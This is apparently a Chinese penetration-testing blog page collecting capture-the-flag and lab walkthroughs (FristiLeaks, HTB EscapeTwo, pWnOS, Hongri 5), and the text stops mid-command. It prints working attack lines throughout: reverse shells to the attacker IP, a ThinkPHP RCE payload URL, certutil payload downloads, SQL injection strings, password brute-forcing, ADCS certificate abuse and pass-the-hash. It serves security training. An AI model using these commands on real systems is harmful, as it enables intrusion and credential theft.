首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,420 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,053 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,218 阅读
4
几个常见的密码字典推荐
3,228 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,165 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
Web安全
网络安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
白小羽
累计撰写
184
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
184
篇与
的结果
2025-05-18
FristiLeaks1.3-提权靶机渗透
清者自清链接:https://www.vulnhub.com/entry/fristileaks-13,133/作者:Ar0xA难度:中等主机发现,以及快速的80探测全端口syn扫描nmap -sS 192.168.111.153 -T4 -p- -A爬虫协议这个界面似曾相识啊,就是上面那些url,一个路径下面有一个图片,这不就是Tr0ll系列的内容嘛?那个FTP匿名登录的。这张图告诉我们说,This is not the url,不是这个url,貌似是想要我们找URL信息分析源码,从这个图片标签中,就能分析出网站根目录中都对应着一个图片查看这个图片的上级目录,没有利用信息首页源码wappalyzer信息那么只剩下首页那几个大字了找到上面那张图的最后一个单词,fristi打靶机的时候,一定要第一时间查看源码!这里有一个base64编码信息这里可以看到是一个png的文件头,说明是一个png文件将他重定向为一个png文件密码信息KeKkeKKeKKeKkEkkEk,但是没有用户啊继续查看源码,eezeepz此时得到了账号密码登录成功让我们选择一个图片文件随意上传,Only allowed are: png,jpg,gif,限制了png,jpg,gif格式抓包改格式,还是上传失败的看这里,有一个apache中间件利用这个apache中间件的解析漏洞,他不是一个编号漏洞,而是配置不当,具体描述如下访问成功连接即可反弹shell/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1创建一个交互式终端python -c 'import pty; pty.spawn("/bin/bash")'从当前网站根目录开始信息收集,既然涉及到了登录,那么大概率用到了数据库,检查一下checklogin.php账号密码:eezeepz / 4ll3maal12#目前也就只有这一条信息eezeepz 用户存在,使用数据库的密码尝试登录,失败了其他信息收集bash-4.1$ uname -a Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux bash-4.1$ lsb_release lsb_release bash: lsb_release: command not found bash-4.1$ cat /etc/os-release cat /etc/os-release cat: /etc/os-release: No such file or directory bash-4.1$ find / -perm -4000 -print 2>/dev/null find / -perm -4000 -print 2>/dev/null /bin/mount /bin/fusermount /bin/umount /bin/su /bin/ping /bin/ping6 /sbin/pam_timestamp_check /sbin/unix_chkpwd /usr/bin/crontab /usr/bin/chsh /usr/bin/sudo /usr/bin/chfn /usr/bin/newgrp /usr/bin/chage /usr/bin/gpasswd /usr/bin/passwd /usr/libexec/openssh/ssh-keysign /usr/libexec/pt_chown /usr/sbin/suexec /usr/sbin/usernetctl直到回家的路上,看到一个jerry写的txt文件,似乎是让我们清理掉eezeepz的homehey eezeepz your homedir is a mess, go clean it up, just dont delete the important stuff. -jerry很多的命令,但是有也包含了一个txt文件查看内容意思大致就是说,需要将 /usr/bin/* 目录下的文件夹中复制到我home下面,来自/home/admin/下面这段话,应该是说让我们建立一个计划任务,每分钟以我的用户(admin)进行运行根据上面的提示,让我们放入一个runthis文件,而这个文件,类似/etc/crontab(计划任务)文件,在这里是以admin用户定时执行任务,所以我们的思路是可以利用这个漏洞拿到admin的shell开启一个微型的http服务python -m http.serverTips :wget的时候,不添加http等关键字也可以wget 192.168.111.128:8000/py_shell_release.py方法一:echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis这个时候也能直接查看admin目录下面的文件信息了,越权成功方法二:echo '/usr/bin/python /tmp/py_shell_release.py' > runthis此时就可以直接断开连接了,然后nc监听就行(耐心等待一会儿),反弹成功,获取到admin用户的权限创建交互式终端,查看这两个txt文件python -c 'import pty; pty.spawn("/bin/bash")'不清楚上面是什么加密的话,可以查看当前目录下面的一个py文件,包含了这个加密的信息,通过这些代码,就可以写出解码的代码解码的代码参考import base64,codecs,sys def decodeString(str): base64string= codecs.decode(str,'rot13') return base64.b64decode(base64string[::-1]) cryptoResult=decodeString(sys.argv[1]) print cryptoResult第一个结果:LetThereBeFristi!第二个结果:thisisalsopw123切换一个用户看看,成功一个去到当前用户的根目录,~,有一个suid文件sudo -l 也是这个文件,有了suid还能sudo不知道文件怎么用?history,继续信息收集发现能够以root身份执行命令 sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash那么使用 /bin/bash 试试,提权成功。如果/bin/bash不成功,还可以试试反弹shell往期推荐【oscp】WEBDEVELOPER,tcpdump提权【oscp】tar、zip命令提权—zico2【oscp】稀有靶机-Readme【oscp】Hackme【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【oscp】Node
2025年05月18日
533 阅读
0 评论
0 点赞
2025-05-18
HTB-EscapeTwo
HTB:EscapeTwo已有信息为rose/KxEPkKe6R8su我们使用nmap进行端口扫描nmap -sT -p- -T5 -A -Pn 10.10.11.51Tips:如果发现端口扫描的慢的话,要用代理比如小猫,kali代理到小猫的那个端口,修改proxychAIns的配置文件 /etc/proxychAIns4.conf 然后 proxychAIns openvpn lab_xxxxx.ovpn 挂到后台就行修改hostsecho "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts尝试一个基本的smb枚举(已知信息),看看是否能登录成功┌──(root㉿kali)-[/data/demo] └─# crackmapexec smb sequel.htb -u rose -p KxEPkKe6R8su --computers SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domAIn:sequel.htb) (signing:True) (SMBv1:False) SMB sequel.htb 445 DC01 [+] sequel.htbrose:KxEPkKe6R8su SMB sequel.htb 445 DC01 [+] Enumerated domAIn computer(s) SMB sequel.htb 445 DC01 sequel.htbDC01$枚举smb服务器共享信息smbmap -u 'rose' -p 'KxEPkKe6R8su' -H 10.10.11.51使用smbclient登录┌──(root㉿kali)-[/data/demo] └─# smbclient //sequel.htb/Users -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . DR 0 Sun Jun 9 09:42:11 2024 .. DR 0 Sun Jun 9 09:42:11 2024 Default DHR 0 Sun Jun 9 07:17:29 2024 desktop.ini AHS 174 Sat Sep 15 03:16:48 2018 6367231 blocks of size 4096. 880750 blocks avAIlable smb: > ┌──(root㉿kali)-[~] └─# smbclient //sequel.htb/'Accounting Department' -U sequel.htb\rose Password for [SEQUEL.HTBrose]: Try "help" to get a list of possible commands. smb: > dir . D 0 Sun Jun 9 06:52:21 2024 .. D 0 Sun Jun 9 06:52:21 2024 accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024 accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024 6367231 blocks of size 4096. 871029 blocks avAIlable smb: >参数解释smbclient : 这是一个用于与SMB/CIFS(Common Internet File System)服务器进行交互的命令行工具。它可以用来浏览共享资源、上传/下载文件等操作。//sequel.htb/Users : // 这是目标SMB共享的起始路径,sequel.htb是目标主机的域名或IP地址,Users 是共享资源的名称,通常表示存储用户文件的共享文件夹。-U sequel.htb\rose : -U参数用于指定连接时使用的用户名,sequel.htb工作组/域,rose具体的用户名执行该命令后,系统通常会提示输入 rose 用户的密码。输入正确的密码后,用户将能够访问 Users 共享中的文件和目录,类似于在文件资源管理器中访问网络共享。我们登录到Accounting Department这个smb服务器的时候发现了两个xlsx表格文件,我们尝试将这个文件下载下来我们使用get命令下载这两个文件此时得到了密码信息angela/0fwz7Q4mSpurIt99 oscar/86LxLBMgEWaKUnBG kevin/Md9Wlq1E5bZnVDVo sa/MSSQLP@ssw0rd!有一个sa账户,像是mssql的用户名和密码,并且1433端口也是开启的(待会会用上)我们将上面的密码保存到一个txt文件中,枚举域内用户echo '0fwz7Q4mSpurIt99 86LxLBMgEWaKUnBG Md9Wlq1E5bZnVDVo MSSQLP@ssw0rd!' > pass.txt netexec ldap 10.10.11.51 -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users将用户名保存到user.txtAdministrator Guest krbtgt michael ryan oscar sql_svc rose ca_svc此时你的目录下面有这四个文件┌──(root㉿kali)-[/data/demo] └─# ls accounting_2024.xlsx accounts.xlsx pass.txt user.txt就接下来使用密码喷洒得到账号密码信息oscar 86LxLBMgEWaKUnBG通过 WinRM(Windows Remote Management)协议对目标主机 10.10.11.51 进行身份验证nxc winrm 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'利用mssql执行系统命令netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'利用dir进行目录遍历,发现一个sql2019,应该是mssql的目录netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:/'继续遍历netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'发现一个sql-Configuration.INI文件netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir c:SQL2019ExpressAdv_ENU'查看文件内容netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type c:SQL2019ExpressAdv_ENUsql-Configuration.INI'发现两个东西SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSVCACCOUNT="SEQUELsql_svc"参数介绍SQLSVCACCOUNT表示 SQL Server 服务将在一个名为 sql_svc 的域账户下运行。SQLSVCPASSWORD 是 SQLSVCACCOUNT 账户的密码再次进行密码喷洒 netexec mssql 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出两个凭证,测试哪个能利用winrm进行登录netexec winrm 10.10.11.51 -u user.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success得出一个结果ryan用户能使用远程登录evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'切换到ryan的桌面,找到第一个flag提权域内信息收集使用netexec枚举靶机域内信息netexec ldap 10.10.11.51 -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c Allbloodhound用于分析和可视化域内的用户、组、计算机、权限关系等数据,帮助安全研究人员或攻击者快速发现攻击路径和权限提升机会。下载由图标可见,ryan用户对ca_svc用户具有WriteOwner权限查看ca_svc用户信息net user ca_svc /domAIn由输出可见,该用户属于Cert Publishers组使用bloodyAD将ca_syc用户拥有者修改为ryan用户┌──(root㉿kali)-[/data/windows_atk/script] └─# bloodyAD -d sequel.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' [+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc使用 ryan 的凭据将 AD 对象 ca_svc 的所有者权限转移给 ryan,是典型的权限提升或后渗透操作。成功执行后,攻击者可完全控制 ca_svc 账户,进一步渗透域环境。这里如果失败的话呢,需要重置一下机器,因为可能是别人打过的┌──(root㉿kali)-[/data/windows_atk/script] └─# python dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20250309-193835.bak [*] DACL modified successfully!将本地时钟与靶机同步sudo ntpdate 10.10.11.51使用certipy-ad创建ca_svc用户影子证书,获得该用户NTLM密码哈希certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target sequel.htb -dc-ip 10.10.11.51 -ns 10.10.11.51账号:ca_svc密码hash:3b181b914e7a9d5508ea1e20bc2b7fcegit clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git cd .Ghostpack-CompiledBinaries upload Certify.exe .Certify.exe find /domAIn:sequel.htb由输出可见,该模板对DomAIn Admins具有注册权利,而且Cert Publishers对该模板具有完全控制权限,因此恶意利用该模板即可获取管理员密码哈希使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞┌──(root㉿kali)-[/data/windows_atk/script] └─# certipy-ad find -u ca_svc@10.10.11.51 -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP [*] Got CA configuration for 'sequel-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC01-CA DNS Name : DC01.sequel.htb Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3 Certificate Validity Start : 2024-06-08 16:50:40+00:00 Certificate Validity End : 2124-06-08 17:00:40+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : SEQUEL.HTBAdministrators Access Rights ManageCertificates : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins ManageCa : SEQUEL.HTBAdministrators SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Enroll : SEQUEL.HTBAuthenticated Users Certificate Templates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectRequireCommonName SubjectAltRequireDns Enrollment Flag : AutoEnrollment PublishToDs Private Key Flag : 16842752 Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1000 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins Object Control Permissions Owner : SEQUEL.HTBEnterprise Admins Full Control Principals : SEQUEL.HTBCert Publishers Write Owner Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Dacl Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers Write Property Principals : SEQUEL.HTBDomain Admins SEQUEL.HTBEnterprise Admins SEQUEL.HTBAdministrator SEQUEL.HTBCert Publishers [!] Vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions由末尾输出可见,利用该模板可导致ESC4漏洞攻击certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug使用certipy-ad请求一份Administrator用户符合模板要求的证书certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51使用certipy-ad借助pfx证书通过身份认证,使用impacket-psexec通过上述哈希凭证登录靶机certipy-ad auth -pfx administrator_10.pfx impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'C:UsersAdministratorDesktop 找到root.txt文件C:UsersAdministratorDesktop> type root.txt 6ca10bc95839bb3243539e3d7ea4f362至此,靶机渗透结束往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,039 阅读
0 评论
0 点赞
2025-05-18
pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程pWnOS1.0打靶思路下载链接见:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip注意一定要选择这个 “我已移动该虚拟机” ,否则扫描不到靶机。网络模式为nat,开机后使用主机发现命令arp-scan -l端口扫描,端口扫描的内容如下总共有两个http服务,一个是10000端口(注意这里如果登录错误太多了话,会导致你的ip封禁)一个是80端口,点击next我们一路下一步被嘲讽了嘲讽页面的sql注入(像xss,文件包含都试试)http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含经过一番测试后,发现一个文件包含点http://10.10.10.129/index1.php?help=true&connect=/etc/passwd/etc/shadow 密码文件有了文件包含,但是没有文件上传点,不能通过文件包含图片马的方式获取shell,转换思路,分析/etc/passwd文件,他有四个用户curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'目录扫描出来一个php文件夹,包含了phpmyadmin站点目录,但是需要进行401认证,弱口令admin/admin,root/root登录失败,那么切换这四个用户试试呢vmware obama osama yomama很遗憾都失败了,我点击了取消,这里出现了指纹信息,phpMyAdmin 2.6.3-pl1上exp可以看到这是一个跨站脚本的漏洞对于我们获取shell用处不是很大,继续切换思路,放眼到10000端口,可以试试之前的用户名(都失败)那么就上exp,Webmin,那么如何选择这些内容呢尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透(OSCP考试也限制使用msf)。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑,我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下,命令执行的有三个 705、746、47293,文件披露(任意文件泄露)的有两个1997、2017文件披露的1997(不行)、2017可以根据提示,得出命令如下,读出/etc/shadow密码文件perl 2017.pl 10.10.10.129 10000 /etc/shadow http用户vmware密码h4ckm3,其他几个都失败由于靶机那边出了点问题,不能让我ssh连接了(源wp是可以的,应该是ssh版本太新了,windows和kali都不行,连不上)这里我就想了个办法,只能用nc反弹了(登录原来的系统)nc 10.10.10.128 6666 -e /bin/bash切换上级目录,可以看到不是交互式终端创建交互式终端python -c 'import pty; pty.spawn("/bin/bash");'系统信息收集,是ubuntu非常老的版本了7.10看看有没有内核提权(没有)sudo -l ,很遗憾了,这个用户好可怜,用不了sudo,和我们一样都是打工仔uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息计划任务,没有一个普通用户能用的,打工仔已经坐不住了回到刚刚读取到的shadow文件,既然能读取shadow文件,那么一定是以root的身份读取这个文件的,如果我们上传一个可执行的脚本呢?利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi,我的理解是要将perl语言的代码改写为执行文件,如果不修改后缀名的话,用2017.pl的exp只能以root权限读取shell.pl,而无法执行shell.pl,也就无法反弹shell。cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgiWebmin 的可执行文件后缀 无后缀:Webmin 的主可执行文件通常是一个没有后缀的脚本文件,例如 webmin。 .cgi 后缀:Webmin 使用 CGI 脚本来处理 Web 请求,这些脚本文件通常以 .cgi 为后缀。例如, /usr/share/webmin/ 目录下的许多文件都是 .cgi 文件。 .pl 后缀:Webmin 的某些脚本文件可能以 .pl 为后缀,表示它们是 Perl 脚本。例如,/etc/webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。 修改这个可执行文件靶机下载后将文件赋予执行权限which wget wget 10.10.10.128:443/shell.cgi chmod +x shell.cgi继续利用脚本perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http反弹成功pWnOS2.0打靶思路下载链接见:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip下载之后用VMware打开,特别注意,这个靶机的ip是固定的10.10.10.100,我们需要将靶机设置为NAT模式,同时要将攻击机kali的ip也处于10.10.10.0/24这个网段,具体在菜单栏的编辑——虚拟网络编辑器,如下,点击更改设置,保证虚拟机的子网ip是10.10.10.0即可(否则可能扫不到靶机的ip)。主机发现全端口syn扫描访问80端口目录扫描有一个info.php,找到文件/blog/config/这里有两个文件第一个文件内容No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|email@myblog.com||||||1||密码文件内容,是一个md5(Unix)类型的加密$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/返回到主页,测试sql注入sql语句报错,存在sql注入漏洞那么就万能密码,成功登录页面只有一个Welcome admin@isints.com,一个邮箱信息,admin' || 1=1 -- +Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息框中的这第四个有一个msf的exp,远程命令执行(Remote Command Execution),符合条件的只有后面两个他是说这个系统中有三个漏洞,第一个是暴露了 password.txt ,刚开始我们目录扫描的时候已经扫描出来了,第二个在登录用户的图像上传,没有身份验证,上传任意的文件,第三个漏洞是博客评论可以任意删除。看样子是需要我们登录进去了,还有一个exp没有用上插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。sudo apt install libswitch-perl根据他的提示,我们利用 -e 参数,指定好第一个文件上传的选项 1,这里提示我们在网站的images下面创建了一个cmd.php文件访问即可利用python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'这里就不需要创建交互式终端了,这里使用python反弹的shell,默认已经可以交互式了。系统信息收集,属于低版本的ubuntu,首先考虑的是内核提权继续信息收集,返回上级目录,看到一个mysqli_connect.php文件,可以看到mysql的密码信息user : root pass : goodday鉴权失败返回home看到有一个用户,用刚刚的mysql密码登录试试,鉴权失败文件权限信息收集find / -perm 777 -type f 2>/dev/null # 777文件 find / -perm -4000 -print 2>/dev/null # SUID文件sudo -l 意外的发现,www-data用户能够使用sudo,但是不知道密码经过一番折腾后,在var目录下面又找到了一个数据库连接的文件密码为 root@ISIntS又是一个密码信息,大概率是dan用户的admin@isints.com鉴权失败目前已知三个密码信息(其中一个是邮箱)admin@isints.com # 数据表中dan的邮箱 root@ISIntS # 数据库密码 goodday # 假的数据库密码回到刚刚的内核提权,尝试一下已关机。。。。利用失败靶机提权主要是利用已知的所有密码信息,进行密码碰撞,利用数据库连接的密码,切换root用户来进行提权也可以使用第二种方法(考试只能使用一次),msf(不清楚什么原因,漏洞利用成功,建立会话失败,是利用失败的,可以自行尝试)msfconsole search Simple PHP Blog 0.4.0 set rhosts 10.10.10.100 set URI blog set payload php/meterpreter/reverse_tcp run往期推荐网络安全从业者生存指南(硬货篇)【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!Viper一个互联网攻击面管理,红队模拟平台【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【OSCP】Tr0ll 靶机全系列(1-3),FTP被玩坏了ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
2025年05月18日
1,514 阅读
0 评论
0 点赞
2025-05-18
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
红日5简介"红日5"是一个高度仿真的内网渗透实战靶场,模拟了企业级内外网混合环境。靶场包含外网Web服务器(Windows 7)、内网域控服务器(Windows Server 2008)双重网络隔离场景,涵盖ThinkPHP RCE漏洞利用、权限提升、代理穿透、横向移动、域渗透等核心攻击链。通过该靶场,学习者可掌握主机发现、漏洞利用、隧道搭建、凭证窃取、Pass-the-Hash等APT攻击手法,并深入理解企业内网安全防护的薄弱环节。最近红日官网已恢复正常访问,如果懒得一个一个转存可以直接拿我的,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: 7ixc环境配置设置好仅主机的vm2,138网段,然后我的nat模式网卡是135网段模拟公网这个靶机呢一共有两个,外网主机win7,设置好仅主机模式和nat模式两个网卡内网域控服务器win7sunheart 密码:123.comsunAdministrator 密码:dc123.com2008(登录成功后要修改密码)sunadmin 密码:2020.com最重要的,需要在win7主机phpstudy开启web服务网络拓扑结构外网信息打点利用arp-scan进行主机探测arp-scan -l利用nmap对目标主机进行端口扫描nmap -sS 192.168.135.150 -p- -A目标机器开启了80、135和3306数据库远程,mysql远程测试,拒绝连接┌──(root㉿kali)-[~] └─# mysql -uroot -h192.168.135.150 -p Enter password: ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.135.128' is not allowed to connect to this MySQL server查看web站点,可以看到这是一个thinkphp框架随便访问一个不存在的页面,发现指纹信息,5.0.22版本寻找expsearchsploit 5.0 thinkphp已知我们的版本为5.0.22searchsploit -m 46150 cat 46150.txt | grep 5.0.22拼凑EXP,执行命令whoami,成功利用http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami查看当前目录http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=chdir使用generate生成混淆的webshell,不容易被查杀weevely generate cmd shell.php从kali下载webshellhttp://192.168.135.150/ ?s=index/thinkapp/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=certutil -urlcache -split -f http://192.168.135.128:5000/shell.phpkali连接webshell查看内网IP,发现内网网段ipconfig利用arp进行主机探测,发现域控主机192.168.138.138arp -a开始代理reGeorg,详细使用方法三种代理方法打入内网certutil -urlcache -split -f http://192.168.135.128:5000/tunnel.php访问网页,发现直接报错,可能不适用windows了那么切换frp,查看一下配置文件,注意这里是windows的frp,我用的版本是0.39.1,去github翻一翻历史版本的,新版本可能会出问题上传到靶机上面去,有两个文件,一个程序一个配置文件然后修改服务端的代理配置vi /etc/proxychAIns4.conf使用proxychAIns打开MSF,利用永恒之蓝漏洞,打域控靶机,这里失败了proxychAIns MSFconsole search ms17_010_eternalblue use 0 set rhosts 192.168.138.138 run这个时候我们就可以使用端口扫描进行信息收集(连接某些未开放端口的时候可能会显示超时,这是正常现象,继续等待即可)use scanner/portscan/tcp set RHOSTS 192.168.138.138 run不使用MSF也可以使用nmapproxychAIns nmap -Pn -sT 192.168.138.138查看域信息sun.comwhoami并不是超级管理员也不是系统用户,这下我们就需要提权了,只有上升到系统权限才能使用mimikatz抓取hash注意使用x64模块,不用MSF的话也可以上传nc反弹shell# kali MSFvenom -p windows/x64/meterpreter/reverse_tcp LPORT=2222 LHOST=192.168.135.128 -f exe -o shellx64.exe # 靶机 certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe进入MSFuse multi/handler set LHOST 192.168.135.128 set lport 2222 set payload windows/x64/meterpreter/reverse_tcp run尝试使用MSF的getsystem进行提权创建一个监听器,用于上线靶机(同理可以用nc来上线)我们生成一个可以上线CS的exe程序生成到d盘中,并传到kali中scp .beacon.exe kali@192.168.135.128:/data/windows_atk并使用MSF的upload上传此文件upload /data/windows_atk/beacon.exe C:\phpStudy\PHPTutorial\WWW\public\beacon.exe执行木马上线cs设置延迟执行命令 sleep 0 之后,就可以开始提权了尝试了各种操作后,都普通用户提权失败那么能怎么办呢——域内爆破,网上很多教程都是直接登录的administrator用户,直接用CS提权成功(上线的时候就是administartor),并没有完整的复现出来从一个最普通的用户上升到系统权限的教程,就很水信息收集,域内用户,由于当前用户是普通用户,普通用户无法直接获取域内的用户列表shell net view换思路,域内不行,那就本机用户,可以看到有一个administrator用户shell net user那么这个用户也可能是域内的管理员用户吧?我们可以利用MSF的kerberos_enumusers爆破 Kerberos 服务(88 端口,前面端口扫描的时候扫出来)proxychAIns MSFconsole use gather/kerberos_enumusers set DOMAIN sun.com set RHOSTS 192.168.138.138 set USERNAME Administrator set PASS_FILE /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt set THREADS 4 run成功爆破出来用户密码为dc123.com注意:如果不用CS那么可以利用 hydra 进行爆破proxychAIns hydra -l Administrator -P pass.txt -s 445 -t 4 -vV -m "SMB" smb://192.168.138.138我们尝试使用其他用户上线呢我们尝试使用其他用户身份上线以本地用户登录失败,那么就切换到域控服务器需要让我们输入密码,但是msf上线的不是交互式shell连接并查看域控,也失败使用PsExec模块攻击域控,失败!proxychAIns msfconsole msf6 > use exploit/windows/smb/psexec msf6 > set RHOSTS 192.168.138.138 # 域控IP msf6 > set 